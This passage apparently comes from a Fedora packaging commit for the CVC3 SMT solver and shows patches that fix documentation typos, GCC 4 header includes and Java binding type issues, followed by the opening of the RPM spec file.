-  		 * explanation clause. The variables in the row of \f$x_i = \sum_{x_j \in \mathcal{N}}{a_ij x_j}\f$ are separatied to
+  		 * explanation clause. The variables in the row of \f$x_i = \sum_{x_j \in \mathcal{N}}{a_ij x_j}\f$ are separated to
   		 * <ul>
   		 * <li>\f$\mathcal{N}^+ = \left\lbrace x_j \in \mathcal{N} \; | \; a_{ij} > 0 \right\rbrace\f$
 		 * <li>\f$\mathcal{N}^- = \left\lbrace  x_j \in \mathcal{N} \; | \; a_{ij} < 0\right\rbrace\f$ 
diff -dur cvc3-2.1.ORIG/src/include/theory_arith_old.h cvc3-2.1/src/include/theory_arith_old.h
--- cvc3-2.1.ORIG/src/include/theory_arith_old.h	2009-09-29 19:50:21.000000000 -0600
+++ cvc3-2.1/src/include/theory_arith_old.h	2009-10-19 10:13:12.771175241 -0600
@@ -364,7 +364,7 @@
 	 * Fixes the current max coefficient to be used in the ordering. If the maximal coefficient
 	 * changes in the future, it will not be used in the ordering.
 	 *
-	 * @param var the variable
+	 * @param variable the variable
 	 * @param max the value to set it to
 	 */
 	void fixCurrentMaxCoefficient(Expr variable, Rational max);
@@ -653,7 +653,7 @@
 	  				inline bool operator == (const EpsRational& r) const { return (q == r.q && k == r.k);	}
 
 	  				/**
-	  				 * Les then or equal comparison operator.
+	  				 * Less than or equal comparison operator.
 	  				 */
 	  				inline bool operator <= (const EpsRational& r) const {
 	  					switch (r.type) {
@@ -678,19 +678,19 @@
 	  				}
 
 	  				/**
-	  				 * Les then comparison operator.
+	  				 * Less than comparison operator.
 	  				 */
 	  				inline bool operator < (const EpsRational& r) const { return !(r <= *this); }
 
 	  				/**
-	  				 * Bigger then equal comparison operator.
+	  				 * Greater than comparison operator.
 	  				 */
 	  				inline bool operator > (const EpsRational& r) const { return !(*this <= r); }
 
 	  				/**
 	  				 * Returns the string representation of the number.
 	  				 *
-	  				 * @param the string representation of the number
+	  				 * @return the string representation of the number
 	  				 */
 	  				std::string toString() const {
 	  					switch (type) {
@@ -846,7 +846,6 @@
 			 * @param x variable x::Difference
 			 * @param y variable y
 			 * @param c rational c
-			 * @param kind the kind of inequality (LE or LT)
 			 * @param edge_thm the theorem for this edge
 			 */
 			void addEdge(const Expr& x, const Expr& y, const Rational& c, const Theorem& edge_thm);
diff -dur cvc3-2.1.ORIG/src/include/vc.h cvc3-2.1/src/include/vc.h
--- cvc3-2.1.ORIG/src/include/vc.h	2009-10-04 12:41:29.000000000 -0600
+++ cvc3-2.1/src/include/vc.h	2009-10-19 10:13:12.772197964 -0600
@@ -28,9 +28,7 @@
 #include "formula_value.h"
 
 /*****************************************************************************/
-/*!
- *\defgroup Note Note that this list of modules is very incomplete
- *\brief Note that this list of modules is very incomplete
+/*! Note that this list of modules is very incomplete
  */
 /*****************************************************************************/
 
@@ -750,10 +748,10 @@
 
   //! Set triggers for quantifier instantiation
   /*!
-   * \param e is the expression for which triggers are being set.  \param
-   * Each item in triggers is a vector of Expr containing one or more
-   * patterns.  A pattern is a term or Atomic predicate sub-expression of
-   * e.  A vector containing more than one pattern is treated as a
+   * \param e the expression for which triggers are being set
+   * \param triggers Each item in triggers is a vector of Expr containing one
+   * or more patterns.  A pattern is a term or Atomic predicate sub-expression
+   * of e.  A vector containing more than one pattern is treated as a
    * multi-trigger.  Patterns will be matched in the order they occur in
    * the vector.
   */
diff -dur cvc3-2.1.ORIG/src/sat/sat_proof.h cvc3-2.1/src/sat/sat_proof.h
--- cvc3-2.1.ORIG/src/sat/sat_proof.h	2008-04-03 22:18:32.000000000 -0600
+++ cvc3-2.1/src/sat/sat_proof.h	2009-10-19 10:13:12.773204281 -0600
@@ -1,6 +1,6 @@
 /*****************************************************************************/
 /*!
- *\file minisat_proof.h
+ *\file sat_proof.h
  *\brief Sat solver proof representation
  *
  * Author: Alexander Fuchs
diff -dur cvc3-2.1.ORIG/src/theory_arith/theory_arith3.cpp cvc3-2.1/src/theory_arith/theory_arith3.cpp
--- cvc3-2.1.ORIG/src/theory_arith/theory_arith3.cpp	2009-10-08 16:15:52.000000000 -0600
+++ cvc3-2.1/src/theory_arith/theory_arith3.cpp	2009-10-19 10:13:12.775109510 -0600
@@ -421,7 +421,7 @@
   return thm;
 }
 
-/*! Psuedo-code for doSolve. (Input is an equation) (output is a Theorem)
+/*! Pseudo-code for doSolve. (Input is an equation) (output is a Theorem)
  *  -# translate e to the form e' = 0
  *  -# if (e'.isRational()) then {if e' != 0 return false else true}
  *  -# a for loop checks if all the variables are integers.
diff -dur cvc3-2.1.ORIG/src/theory_arith/theory_arith_new.cpp cvc3-2.1/src/theory_arith/theory_arith_new.cpp
--- cvc3-2.1.ORIG/src/theory_arith/theory_arith_new.cpp	2009-10-08 16:15:52.000000000 -0600
+++ cvc3-2.1/src/theory_arith/theory_arith_new.cpp	2009-10-19 10:13:12.777233052 -0600
@@ -320,7 +320,7 @@
   return thm;
 }
 
-/*! Psuedo-code for doSolve. (Input is an equation) (output is a Theorem)
+/*! Pseudo-code for doSolve. (Input is an equation) (output is a Theorem)
  *  -# translate e to the form e' = 0
  *  -# if (e'.isRational()) then {if e' != 0 return false else true}
  *  -# a for loop checks if all the variables are integers. 
diff -dur cvc3-2.1.ORIG/src/theory_arith/theory_arith_old.cpp cvc3-2.1/src/theory_arith/theory_arith_old.cpp
--- cvc3-2.1.ORIG/src/theory_arith/theory_arith_old.cpp	2009-10-08 16:15:52.000000000 -0600
+++ cvc3-2.1/src/theory_arith/theory_arith_old.cpp	2009-10-19 10:13:12.781233049 -0600
@@ -436,7 +436,7 @@
   return thm;
 }
 
-/*! Psuedo-code for doSolve. (Input is an equation) (output is a Theorem)
+/*! Pseudo-code for doSolve. (Input is an equation) (output is a Theorem)
  *  -# translate e to the form e' = 0
  *  -# if (e'.isRational()) then {if e' != 0 return false else true}
  *  -# a for loop checks if all the variables are integers.
diff -dur cvc3-2.1.ORIG/src/theory_bitvector/bitvector_theorem_producer.cpp cvc3-2.1/src/theory_bitvector/bitvector_theorem_producer.cpp
--- cvc3-2.1.ORIG/src/theory_bitvector/bitvector_theorem_producer.cpp	2009-10-15 19:23:59.000000000 -0600
+++ cvc3-2.1/src/theory_bitvector/bitvector_theorem_producer.cpp	2009-10-19 10:13:12.785232967 -0600
@@ -479,7 +479,7 @@
 
   //if both MSBs are constants, then we can optimize the output.  we
   //know precisely the value of the signed comparison in cases where
-  //topbit of e0 and e1 are constants. e.g. |-1 at t0 < 0 at t1 is clearly
+  //topbit of e0 and e1 are constants. e.g. |-1\@t0 < 0\@t1 is clearly
   //|-TRUE.
 
   //-1 indicates that both topBits are not known to be BVCONSTS
@@ -1009,9 +1009,9 @@
 }
 
 
-// Input: x: a_0 @ ... @ a_n,
+// Input: x: a_0 \@ ... \@ a_n,
 //        i: bitposition
-// Output |- BOOLEXTRACT(a_0 @ ... @ a_n, i) <=> BOOLEXTRACT(a_j, k)
+// Output |- BOOLEXTRACT(a_0 \@ ... \@ a_n, i) <=> BOOLEXTRACT(a_j, k)
 //        where j and k are determined by structure of CONCAT
 Theorem BitvectorTheoremProducer::bitExtractConcatenation(const Expr & x,
 							  int i)
@@ -1939,7 +1939,7 @@
 }
 
 
-//! t<<n = c @ 0bin00...00, takes e == (t<<n)
+//! t<<n = c \@ 0bin00...00, takes e == (t<<n)
 Theorem BitvectorTheoremProducer::leftShiftToConcat(const Expr& e) {
   if(CHECK_PROOFS) {
     // The kids must be constant expressions
@@ -1963,7 +1963,7 @@
   return newRWTheorem(e, res, Assumptions::emptyAssump(), pf);
 }
 
-//! t<<n = c @ 0bin00...00, takes e == (t<<n)
+//! t<<n = c \@ 0bin00...00, takes e == (t<<n)
 Theorem BitvectorTheoremProducer::constWidthLeftShiftToConcat(const Expr& e) {
   if(CHECK_PROOFS) {
     // The kids must be constant expressions
@@ -1996,7 +1996,7 @@
 }
 
 
-//! t>>m = 0bin00...00 @ t[bvLength-1:m], takes e == (t>>n)
+//! t>>m = 0bin00...00 \@ t[bvLength-1:m], takes e == (t>>n)
 Theorem BitvectorTheoremProducer::rightShiftToConcat(const Expr& e) {
   if(CHECK_PROOFS) {
     CHECK_SOUND(e.getOpKind() == RIGHTSHIFT && e.arity() == 1,
@@ -2028,7 +2028,7 @@
 }
 
 
-//! BVSHL(t,c) = t[n-c,0] @ 0bin00...00
+//! BVSHL(t,c) = t[n-c,0] \@ 0bin00...00
 Theorem BitvectorTheoremProducer::bvshlToConcat(const Expr& e) {
   if(CHECK_PROOFS) {
     // The second kid must be a constant expression
@@ -2102,7 +2102,7 @@
 }
 
 
-//! BVLSHR(t,c) = 0bin00...00 @ t[n-1,c]
+//! BVLSHR(t,c) = 0bin00...00 \@ t[n-1,c]
 Theorem BitvectorTheoremProducer::bvlshrToConcat(const Expr& e)
 {
   if(CHECK_PROOFS) {
@@ -2265,7 +2265,7 @@
 
 
 //! k*t = BVPLUS(n, <sum of shifts of t>) -- translation of k*t to BVPLUS
-/*! If k = 2^m, return k*t = t at 0...0 */
+/*! If k = 2^m, return k*t = t\@0...0 */
 Theorem BitvectorTheoremProducer::constMultToPlus(const Expr& e) {
   DebugAssert(false,
 	      "BitvectorTheoremProducer::constMultToPlus: this rule does not work\n");
@@ -2459,7 +2459,7 @@
 }
 
 
-//! (t1 @ t2)[i:j] = t1[...] @ t2[...]  (push extraction through concat)
+//! (t1 \@ t2)[i:j] = t1[...] \@ t2[...]  (push extraction through concat)
 Theorem
 BitvectorTheoremProducer::extractConcat(const Expr& e) {
   TRACE("bitvector rules", "extractConcat(", e, ") {");
@@ -2672,7 +2672,7 @@
 }
 
 
-//! ~(t1 at ...@tn) = (~t1)@...@(~tn) -- push negation through concat
+//! ~(t1\@...\@tn) = (~t1)\@...\@(~tn) -- push negation through concat
 Theorem
 BitvectorTheoremProducer::negConcat(const Expr& e) {
   if(CHECK_PROOFS) {
@@ -3190,7 +3190,7 @@
 }
 
 
-//! c1 at c2@... at cn = c  (concatenation of constant bitvectors)
+//! c1\@c2\@...\@cn = c  (concatenation of constant bitvectors)
 Theorem BitvectorTheoremProducer::concatConst(const Expr& e) {
   if(CHECK_PROOFS) {
     // The kids must be constant expressions
@@ -3211,7 +3211,7 @@
 }
 
 
-//! Flatten one level of nested concatenation, e.g.: x@(y at z)@w = x at y@z at w
+//! Flatten one level of nested concatenation, e.g.: x\@(y\@z)\@w = x\@y\@z\@w
 Theorem
 BitvectorTheoremProducer::concatFlatten(const Expr& e) {
   if(CHECK_PROOFS) {
@@ -3233,7 +3233,7 @@
 }
 
 
-//! Merge n-ary concat. of adjacent extractions: x[15:8]@x[7:0] = x[15:0]
+//! Merge n-ary concat. of adjacent extractions: x[15:8]\@x[7:0] = x[15:0]
 Theorem
 BitvectorTheoremProducer::concatMergeExtract(const Expr& e) {
   if(CHECK_PROOFS) {
@@ -4681,7 +4681,7 @@
 }
 
 
-// BVMULT(N, a at b, y) = BVPLUS(N, BVMULT(N,b,y), BVMULT(N-n,a,y) @ n-bit-0-string)
+// BVMULT(N, a\@b, y) = BVPLUS(N, BVMULT(N,b,y), BVMULT(N-n,a,y) \@ n-bit-0-string)
 // where n = BVSize(b), a != 0, one of a or b is a constant
 Theorem BitvectorTheoremProducer::liftConcatBVMult(const Expr& e)
 {
@@ -4917,7 +4917,7 @@
 }
 
 
-// BVPLUS(N, a0, ..., an) = BVPLUS(N-n,a0[N-1:n],...an[N-1:n])@t
+// BVPLUS(N, a0, ..., an) = BVPLUS(N-n,a0[N-1:n],...an[N-1:n])\@t
 // where n = BVSize(t), and the sum of the lowest n bits of a0..an is exactly
 // equal to t (i.e. no carry)
 Theorem BitvectorTheoremProducer::liftConcatBVPlus(const Expr& e)
@@ -5602,9 +5602,9 @@
 
 // Input: t[hi:lo] = rhs
 // if t appears as leaf in rhs, then:
-//    t[hi:lo] = rhs |- Exists x,y,z. (t = x @ y @ z AND y = rhs), solvedForm = false
+//    t[hi:lo] = rhs |- Exists x,y,z. (t = x \@ y i@ z AND y = rhs), solvedForm = false
 // else
-//    t[hi:lo] = rhs |- Exists x,z. (t = x @ rhs @ z), solvedForm = true
+//    t[hi:lo] = rhs |- Exists x,z. (t = x \@ rhs \@ z), solvedForm = true
 Theorem BitvectorTheoremProducer::processExtract(const Theorem& e, bool& solvedForm)
 {
   Expr expr = e.getExpr();
@@ -6075,7 +6075,7 @@
 }
 
 
-//! BVZEROEXTEND(e, i) = zeroString @ e
+//! BVZEROEXTEND(e, i) = zeroString \@ e
 // where zeroString is a string of i zeroes
 Theorem BitvectorTheoremProducer::zeroExtendRule(const Expr& e) {
   if(CHECK_PROOFS) {
@@ -6103,7 +6103,7 @@
 }
 
 
-//! BVREPEAT(e, i) = e @ e @ ... @ e
+//! BVREPEAT(e, i) = e \@ e \@ ... \@ e
 // where e appears i times on the right
 Theorem BitvectorTheoremProducer::repeatRule(const Expr& e) {
   if(CHECK_PROOFS) {
@@ -6136,7 +6136,7 @@
 }
 
 
-//! BVROTL(e, i) = a[n-i-1:0] @ a[n-1:n-i]
+//! BVROTL(e, i) = a[n-i-1:0] \@ a[n-1:n-i]
 // where n is the size of e and i is less than n (otherwise i mod n is used)
 Theorem BitvectorTheoremProducer::rotlRule(const Expr& e) {
   if(CHECK_PROOFS) {
@@ -6167,7 +6167,7 @@
 }
 
 
-//! BVROTR(e, i) = a[i-1:0] @ a[n-1:i]
+//! BVROTR(e, i) = a[i-1:0] \@ a[n-1:i]
 // where n is the size of e and i is less than n (otherwise i mod n is used)
 Theorem BitvectorTheoremProducer::rotrRule(const Expr& e) {
   if(CHECK_PROOFS) {
diff -dur cvc3-2.1.ORIG/src/theory_core/theory_core.cpp cvc3-2.1/src/theory_core/theory_core.cpp
--- cvc3-2.1.ORIG/src/theory_core/theory_core.cpp	2009-09-30 13:39:06.000000000 -0600
+++ cvc3-2.1/src/theory_core/theory_core.cpp	2009-10-19 10:13:12.788233008 -0600
@@ -3099,7 +3099,7 @@
 }
 
 
-bool TheoryCore::incomplete(vector<string>& reasons)
+bool TheoryCore::incomplete(std::vector<std::string>& reasons)
 {
   if(d_incomplete.size() > 0) {
     for(CDMap<string,bool>::iterator i=d_incomplete.begin(),
diff -dur cvc3-2.1.ORIG/src/theory_datatype/theory_datatype.cpp cvc3-2.1/src/theory_datatype/theory_datatype.cpp
--- cvc3-2.1.ORIG/src/theory_datatype/theory_datatype.cpp	2009-10-05 20:12:41.000000000 -0600
+++ cvc3-2.1/src/theory_datatype/theory_datatype.cpp	2009-10-19 10:13:12.790252403 -0600
@@ -857,10 +857,10 @@
 }
 
 
-Expr TheoryDatatype::dataType(const string& name,
-                              const vector<string>& constructors,
-                              const vector<vector<string> >& selectors,
-                              const vector<vector<Expr> >& types)
+Expr TheoryDatatype::dataType(const std::string& name,
+                              const std::vector<std::string>& constructors,
+                              const std::vector<std::vector<std::string> >& selectors,
+                              const std::vector<std::vector<Expr> >& types)
 {
   vector<string> names;
   vector<vector<string> > constructors2;
@@ -876,10 +876,10 @@
 
 // Elements of types are either the expr from an existing type or a string
 // naming one of the datatypes being defined
-Expr TheoryDatatype::dataType(const vector<string>& names,
-                              const vector<vector<string> >& allConstructors,
-                              const vector<vector<vector<string> > >& allSelectors,
-                              const vector<vector<vector<Expr> > >& allTypes)
+Expr TheoryDatatype::dataType(const std::vector<std::string>& names,
+                              const std::vector<std::vector<std::string> >& allConstructors,
+                              const std::vector<std::vector<std::vector<std::string> > >& allSelectors,
+                              const std::vector<std::vector<std::vector<Expr> > >& allTypes)
 {
   vector<Expr> returnTypes;
 
diff -dur cvc3-2.1.ORIG/src/theory_quant/quant_theorem_producer.cpp cvc3-2.1/src/theory_quant/quant_theorem_producer.cpp
--- cvc3-2.1.ORIG/src/theory_quant/quant_theorem_producer.cpp	2009-10-04 12:41:29.000000000 -0600
+++ cvc3-2.1/src/theory_quant/quant_theorem_producer.cpp	2009-10-19 10:13:12.791296402 -0600
@@ -241,6 +241,7 @@
  * subtype predicates for the bound variables of the quanitfied expression.
  * \param t1 is the quantifier (a Theorem)
  * \param terms are the terms to instantiate.
+ * \param quantLevel the quantification level for the formula
  */
 Theorem QuantTheoremProducer::universalInst(const Theorem& t1, const  vector<Expr>& terms, int quantLevel){
 
diff -dur cvc3-2.1.ORIG/src/theory_quant/theory_quant.cpp cvc3-2.1/src/theory_quant/theory_quant.cpp
--- cvc3-2.1.ORIG/src/theory_quant/theory_quant.cpp	2009-10-07 00:24:44.000000000 -0600
+++ cvc3-2.1/src/theory_quant/theory_quant.cpp	2009-10-19 10:13:12.795232784 -0600
@@ -2860,7 +2860,7 @@
 }
 
 
-void TheoryQuant::setupTriggers(ExprMap<ExprMap<vector<dynTrig>* >*>& trig_maps, const Theorem& thm, size_t univs_id){
+void TheoryQuant::setupTriggers(ExprMap<ExprMap<std::vector<dynTrig>* >*>& trig_maps, const Theorem& thm, size_t univs_id){
 
   //  static std::vector<Expr> libQuant;
   const Expr& e = thm.getExpr();
@@ -4137,7 +4137,7 @@
 }
 
 //match a gterm against all the trigs in d_allmap_trigs
-void TheoryQuant::matchListNew(ExprMap<ExprMap<vector<dynTrig>*>*>& new_trigs,
+void TheoryQuant::matchListNew(ExprMap<ExprMap<std::vector<dynTrig>*>*>& new_trigs,
 			       const CDList<Expr>& glist,
 			       size_t gbegin,
 			       size_t gend){
@@ -7984,7 +7984,7 @@
   d_lastEqsUpdatePos.set(d_eqsUpdate.size());
 }
 
-void TheoryQuant::synCheckSat(ExprMap<ExprMap<vector<dynTrig>* >* >&  new_trigs, bool fullEffort){
+void TheoryQuant::synCheckSat(ExprMap<ExprMap<std::vector<dynTrig>* >* >&  new_trigs, bool fullEffort){
 
   d_allout=false;
 
diff -dur cvc3-2.1.ORIG/src/vcl/vcl.cpp cvc3-2.1/src/vcl/vcl.cpp
--- cvc3-2.1.ORIG/src/vcl/vcl.cpp	2009-10-15 14:29:30.000000000 -0600
+++ cvc3-2.1/src/vcl/vcl.cpp	2009-10-19 10:13:12.798131491 -0600
@@ -775,8 +775,8 @@
 }
 
 
-Type VCL::recordType(const vector<string>& fields,
-		     const vector<Type>& types)
+Type VCL::recordType(const std::vector<std::string>& fields,
+		     const std::vector<Type>& types)
 {
   DebugAssert(fields.size() == types.size(),
 	      "VCL::recordType: number of fields is different \n"
@@ -789,9 +789,10 @@
 }
 
 
-Type VCL::dataType(const string& name,
-                   const string& constructor,
-                   const vector<string>& selectors, const vector<Expr>& types)
+Type VCL::dataType(const std::string& name,
+                   const std::string& constructor,
+                   const std::vector<std::string>& selectors,
+                   const std::vector<Expr>& types)
 {
   vector<string> constructors;
   constructors.push_back(constructor);
@@ -806,10 +807,10 @@
 }
 
 
-Type VCL::dataType(const string& name,
-                   const vector<string>& constructors,
-                   const vector<vector<string> >& selectors,
-                   const vector<vector<Expr> >& types)
+Type VCL::dataType(const std::string& name,
+                   const std::vector<std::string>& constructors,
+                   const std::vector<std::vector<std::string> >& selectors,
+                   const std::vector<std::vector<Expr> >& types)
 {
   Expr res = d_theoryDatatype->dataType(name, constructors, selectors, types);
   if(d_dump) {
@@ -819,11 +820,11 @@
 }
 
 
-void VCL::dataType(const vector<string>& names,
-                   const vector<vector<string> >& constructors,
-                   const vector<vector<vector<string> > >& selectors,
-                   const vector<vector<vector<Expr> > >& types,
-                   vector<Type>& returnTypes)
+void VCL::dataType(const std::vector<std::string>& names,
+                   const std::vector<std::vector<std::string> >& constructors,
+                   const std::vector<std::vector<std::vector<std::string> > >& selectors,
+                   const std::vector<std::vector<std::vector<Expr> > >& types,
+                   std::vector<Type>& returnTypes)
 {
   Expr res = d_theoryDatatype->dataType(names, constructors, selectors, types);
   if(d_dump) {
@@ -1405,8 +1406,8 @@
 }
 
 
-Expr VCL::recordExpr(const vector<string>& fields,
-		     const vector<Expr>& exprs)
+Expr VCL::recordExpr(const std::vector<std::string>& fields,
+		     const std::vector<Expr>& exprs)
 {
   DebugAssert(fields.size() > 0, "VCL::recordExpr()");
   DebugAssert(fields.size() == exprs.size(),"VCL::recordExpr()");
@@ -2107,7 +2108,7 @@
 }
 
 
-bool VCL::incomplete(vector<string>& reasons) {
+bool VCL::incomplete(std::vector<std::string>& reasons) {
   // TODO: add to interactive interface
   // Return true only after a failed query
   return (d_lastQuery.isNull() && d_theoryCore->incomplete(reasons));

cvc3-gcc4.patch:
 include/command_line_exception.h                |    2 +-
 include/memory_manager_context.h                |    1 +
 include/sound_exception.h                       |    2 +-
 theory_arith/arith_exception.h                  |    2 +-
 theory_bitvector/bitvector_theorem_producer.cpp |    1 +
 util/debug.cpp                                  |    1 +
 util/rational-gmp.cpp                           |    1 +
 7 files changed, 7 insertions(+), 3 deletions(-)

--- NEW FILE cvc3-gcc4.patch ---
diff -dur cvc3-2.1.ORIG/src/include/command_line_exception.h cvc3-2.1/src/include/command_line_exception.h
--- cvc3-2.1.ORIG/src/include/command_line_exception.h	2006-08-09 15:19:30.000000000 -0600
+++ cvc3-2.1/src/include/command_line_exception.h	2009-10-16 09:34:46.141974605 -0600
@@ -31,7 +31,7 @@
   // Constructors
   CLException() { }
   CLException(const std::string& msg): Exception(msg) { }
-  CLException(char* msg): Exception(msg) { }
+  CLException(const char* msg): Exception(msg) { }
   // Destructor
   virtual ~CLException() { }
   // Printing the message
diff -dur cvc3-2.1.ORIG/src/include/memory_manager_context.h cvc3-2.1/src/include/memory_manager_context.h
--- cvc3-2.1.ORIG/src/include/memory_manager_context.h	2009-04-10 14:38:25.000000000 -0600
+++ cvc3-2.1/src/include/memory_manager_context.h	2009-10-16 09:34:46.141974605 -0600
@@ -21,6 +21,7 @@
 #ifndef _cvc3__include__memory_manager_context_h
 #define _cvc3__include__memory_manager_context_h
 
+#include <cstdlib>
 #include <vector>
 #include "memory_manager.h"
 
diff -dur cvc3-2.1.ORIG/src/include/sound_exception.h cvc3-2.1/src/include/sound_exception.h
--- cvc3-2.1.ORIG/src/include/sound_exception.h	2006-08-09 15:19:30.000000000 -0600
+++ cvc3-2.1/src/include/sound_exception.h	2009-10-16 09:34:46.142839030 -0600
@@ -33,7 +33,7 @@
     // Constructors
     SoundException() { }
     SoundException(const std::string& msg): Exception(msg) { }
-    SoundException(char* msg): Exception(msg) { }
+    SoundException(const char* msg): Exception(msg) { }
     // Destructor
     virtual ~SoundException() { }
     virtual std::string toString() const {
diff -dur cvc3-2.1.ORIG/src/theory_arith/arith_exception.h cvc3-2.1/src/theory_arith/arith_exception.h
--- cvc3-2.1.ORIG/src/theory_arith/arith_exception.h	2006-08-09 15:19:31.000000000 -0600
+++ cvc3-2.1/src/theory_arith/arith_exception.h	2009-10-16 09:35:47.378849519 -0600
@@ -35,7 +35,7 @@
     // Constructors
     ArithException() { }
     ArithException(const std::string& msg): Exception(msg) { }
-    ArithException(char* msg): Exception(msg) { }
+    ArithException(const char* msg): Exception(msg) { }
     // Destructor
     virtual ~ArithException() { }
     virtual std::string toString() const {
diff -dur cvc3-2.1.ORIG/src/theory_bitvector/bitvector_theorem_producer.cpp cvc3-2.1/src/theory_bitvector/bitvector_theorem_producer.cpp
--- cvc3-2.1.ORIG/src/theory_bitvector/bitvector_theorem_producer.cpp	2009-10-16 09:34:37.696911611 -0600
+++ cvc3-2.1/src/theory_bitvector/bitvector_theorem_producer.cpp	2009-10-16 09:36:54.411809170 -0600
@@ -28,6 +28,7 @@
 // This code is trusted
 #define _CVC3_TRUSTED_
 
+#include <cstdio>
 #include "bitvector_theorem_producer.h"
 #include "common_proof_rules.h"
 #include "theory_core.h"
diff -dur cvc3-2.1.ORIG/src/util/debug.cpp cvc3-2.1/src/util/debug.cpp
--- cvc3-2.1.ORIG/src/util/debug.cpp	2009-03-03 10:31:33.000000000 -0700
+++ cvc3-2.1/src/util/debug.cpp	2009-10-16 09:34:46.144161887 -0600
@@ -19,6 +19,7 @@
  */
 /*****************************************************************************/
 
+#include <cstdlib>
 #include <fstream>
 #include <stdlib.h>
 
diff -dur cvc3-2.1.ORIG/src/util/rational-gmp.cpp cvc3-2.1/src/util/rational-gmp.cpp
--- cvc3-2.1.ORIG/src/util/rational-gmp.cpp	2008-11-14 13:49:11.000000000 -0700
+++ cvc3-2.1/src/util/rational-gmp.cpp	2009-10-16 09:34:46.145125371 -0600
@@ -24,6 +24,7 @@
 #include "compat_hash_set.h"
 #include "rational.h"
 
+#include <climits>
 #include <sstream>
 #include <gmp.h>
 #include <limits.h>

cvc3-java.patch:
 include/cvc3/JniUtils.h           |    4 ++--
 src/cvc3/JniUtils.cpp             |    5 ++++-
 src/cvc3/ValidityChecker_impl.cpp |    4 ++--
 3 files changed, 8 insertions(+), 5 deletions(-)

--- NEW FILE cvc3-java.patch ---
diff -dur cvc3-2.1.ORIG/java/include/cvc3/JniUtils.h cvc3-2.1/java/include/cvc3/JniUtils.h
--- cvc3-2.1.ORIG/java/include/cvc3/JniUtils.h	2008-12-12 15:48:14.000000000 -0700
+++ cvc3-2.1/java/include/cvc3/JniUtils.h	2009-10-19 11:22:57.817991587 -0600
@@ -168,7 +168,7 @@
 	env->FindClass("java/lang/Object"),
 	NULL);
 
-    for (int i = 0; i < v.size(); ++i) {
+    for (unsigned int i = 0U; i < v.size(); ++i) {
       env->SetObjectArrayElement(jarray, i, embed_copy<T>(env, v[i]));
     }
 
@@ -182,7 +182,7 @@
 	env->FindClass("java/lang/Object"),
 	NULL);
 
-    for (int i = 0; i < v.size(); ++i) {
+    for (unsigned int i = 0U; i < v.size(); ++i) {
       env->SetObjectArrayElement(jarray, i, embed_const_ref<T>(env, &v[i]));
     }
 
diff -dur cvc3-2.1.ORIG/java/src/cvc3/JniUtils.cpp cvc3-2.1/java/src/cvc3/JniUtils.cpp
--- cvc3-2.1.ORIG/java/src/cvc3/JniUtils.cpp	2008-10-01 12:35:31.000000000 -0600
+++ cvc3-2.1/java/src/cvc3/JniUtils.cpp	2009-10-19 11:22:17.203023038 -0600
@@ -74,6 +74,9 @@
     case PRESENTATION_LANG: return toJava(env, "PRESENTATION");
     case SMTLIB_LANG: return toJava(env, "SMTLIB");
     case LISP_LANG: return toJava(env, "LISP");
+    case AST_LANG: return toJava(env, "AST");
+    case SIMPLIFY_LANG: return toJava(env, "SIMPLIFY");
+    case TPTP_LANG: return toJava(env, "TPTP");
     }
     
     DebugAssert(false, "JniUtils::toJava(InputLanguage): unreachable");
@@ -155,7 +158,7 @@
 	env->FindClass("java/lang/String"),
 	env->NewStringUTF(""));
 
-    for(int i = 0; i < v.size(); ++i) {
+    for(unsigned int i = 0U; i < v.size(); ++i) {
       env->SetObjectArrayElement(jarray, i, toJava(env, v[i]));
     }
 
diff -dur cvc3-2.1.ORIG/java/src/cvc3/ValidityChecker_impl.cpp cvc3-2.1/java/src/cvc3/ValidityChecker_impl.cpp
--- cvc3-2.1.ORIG/java/src/cvc3/ValidityChecker_impl.cpp	2009-09-30 12:54:35.000000000 -0600
+++ cvc3-2.1/java/src/cvc3/ValidityChecker_impl.cpp	2009-10-19 11:22:17.203023038 -0600
@@ -584,11 +584,11 @@
 return embed_copy(env, vc->forallExpr(vars, *body));
 
 DEFINITION: Java_cvc3_ValidityChecker_jniForallExpr2
-jobject m ValidityChecker vc cv Expr vars c Expr body cv Expr triggers
+jobject m ValidityChecker vc cv Expr vars c Expr body cvv Expr triggers
 return embed_copy(env, vc->forallExpr(vars, *body, triggers));
 
 DEFINITION: Java_cvc3_ValidityChecker_jniSetTriggers
-void m ValidityChecker vc c Expr closure cv Expr triggers
+void m ValidityChecker vc c Expr closure cvv Expr triggers
 vc->setTriggers(*closure, triggers);
 
 DEFINITION: Java_cvc3_ValidityChecker_jniExistsExpr


--- NEW FILE cvc3.spec ---
# If the emacs-el package has installed a pkgconfig file, use that to determine
# install locations and Emacs version at build time, otherwise set defaults.
%if %($(pkg-config emacs) ; echo $?)
%define emacs_version 22.1
%define emacs_lispdir %{_datadir}/emacs/site-lisp
%else
%define emacs_version %(pkg-config emacs --modversion)
%define emacs_lispdir %(pkg-config emacs --variable sitepkglispdir)
%endif

# If the xemacs-devel package has installed a pkgconfig file, use that to
# determine install locations and Emacs version at build time, otherwise set
# defaults.
%if %($(pkg-config xemacs) ; echo $?)
%define xemacs_version 21.5
%define xemacs_lispdir %{_datadir}/xemacs/site-packages/lisp
%else
%define xemacs_version %(pkg-config xemacs --modversion)
%define xemacs_lispdir %(pkg-config xemacs --variable sitepkglispdir)
%endif

Name:           cvc3
Version:        2.1
Release:        2%{?dist}
Summary:        Validity checker of many-sorted first-order formulas with theories

Group:          Applications/Engineering
License:        BSD
URL:            http://www.cs.nyu.edu/acsys/cvc3/
Source:         http://www.cs.nyu.edu/acsys/cvc3/download/%{version}/cvc3-%{version}.tar.gz
# Override compiler flag selection so that $RPM_OPT_FLAGS will take effect.
# Submitted upstream June 2008.
Patch0:         cvc3-build.patch
# Fix a few problems in the doxygen documentation.
# Submitted upstream June 2008, with an update in August 2008.
Patch1:         cvc3-doc.patch
# GCC 4.3+ uses a streamlined header architecture, so more includes are needed.
# This patch was last submitted upstream on 16 Oct 2009.
Patch2:         cvc3-gcc4.patch
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
# Fix Java build problems.  This patch was last sent upstream on 19 Oct 2009.
Patch3:         cvc3-java.patch

BuildRequires:  bison, doxygen, emacs, emacs-el, flex, gnu-free-sans-fonts
BuildRequires:  gmp-devel, graphviz, java-devel, jpackage-utils, perl, time
BuildRequires:  transfig, tex(latex), xemacs, xemacs-devel
Requires:       gnu-free-sans-fonts

%description
CVC3 is an automatic theorem prover for Satisfiability Modulo Theories (SMT)
problems.  It can be used to prove the validity (or, dually, the
satisfiability) of first-order formulas in a large number of built-in logical
theories and their combination.

CVC3 is the latest offspring of a series of popular SMT provers, which
